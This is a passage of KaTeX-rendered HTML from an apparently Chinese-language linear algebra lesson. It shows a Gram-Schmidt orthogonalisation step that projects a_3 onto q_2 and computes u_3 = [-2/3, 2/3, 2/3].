= \frac{a_3^T q_2}{q_2^T q_2} q_2 = \frac{\begin{bmatrix} 0 &amp; 1 &amp; 1 \end{bmatrix} \begin{bmatrix} 0.5 \\ -0.5 \\ 1 \end{bmatrix}}{\begin{bmatrix} 0.5 &amp; -0.5 &amp; 1 \end{bmatrix} \begin{bmatrix} 0.5 \\ -0.5 \\ 1 \end{bmatrix}} \begin{bmatrix} 0.5 \\ -0.5 \\ 1 \end{bmatrix} = \frac{0.5}{1.5} \begin{bmatrix} 0.5 \\ -0.5 \\ 1 \end{bmatrix} = \begin{bmatrix} \frac{1}{6} \\ -\frac{1}{6} \\ \frac{1}{3} \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">ro</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0572em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0359em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4978em;vertical-align:-0.9794em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.5183em;"><span style="top:-2.2869em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8231em;"><span style="top:-2.4337em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.0448em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9794em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:7.48em;vertical-align:-3.49em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.99em;"><span style="top:-2.11em;"><span class="pstrut" style="height:4.05em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">0.5</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">0.5</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-4.28em;"><span class="pstrut" style="height:4.05em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-5.99em;"><span class="pstrut" style="height:4.05em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">0.5</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.49em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">0.5</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1.5</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">0.5</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6153em;vertical-align:-1.5577em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.0577em;"><span style="top:-4.2126em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">6</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-3.0074em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">6</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-1.8023em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.5577em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>然后计算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>u</mi><mn>3</mn></msub></mrow><annotation encoding="application/x-tex"> u_3 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>u</mi><mn>3</mn></msub><mo>=</mo><msub><mi>a</mi><mn>3</mn></msub><mo>−</mo><mi>p</mi><mi>r</mi><mi>o</mi><msub><mi>j</mi><msub><mi>q</mi><mn>1</mn></msub></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mn>3</mn></msub><mo stretchy="false">)</mo><mo>−</mo><mi>p</mi><mi>r</mi><mi>o</mi><msub><mi>j</mi><msub><mi>q</mi><mn>2</mn></msub></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mn>3</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>−</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>−</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mn>1</mn><mn>6</mn></mfrac></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mfrac><mn>1</mn><mn>6</mn></mfrac></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mn>1</mn><mn>3</mn></mfrac></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mfrac><mn>2</mn><mn>3</mn></mfrac></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mn>2</mn><mn>3</mn></mfrac></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mfrac><mn>2</mn><mn>3</mn></mfrac></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">u_3 = a_3 - proj_{q_1}(a_3) - proj_{q_2}(a_3) = \begin{bmatrix} 0 \\ 1 \\ 1 \end{bmatrix} - \begin{bmatrix} 0.5 \\ 0.5 \\ 0 \end{bmatrix} - \begin{bmatrix} \frac{1}{6} \\ -\frac{1}{6} \\ \frac{1}{3} \end{bmatrix} = \begin{bmatrix} -\frac{2}{3} \\ \frac{2}{3} \\ \frac{2}{3} \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">ro</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0572em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0359em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">ro</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0572em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span 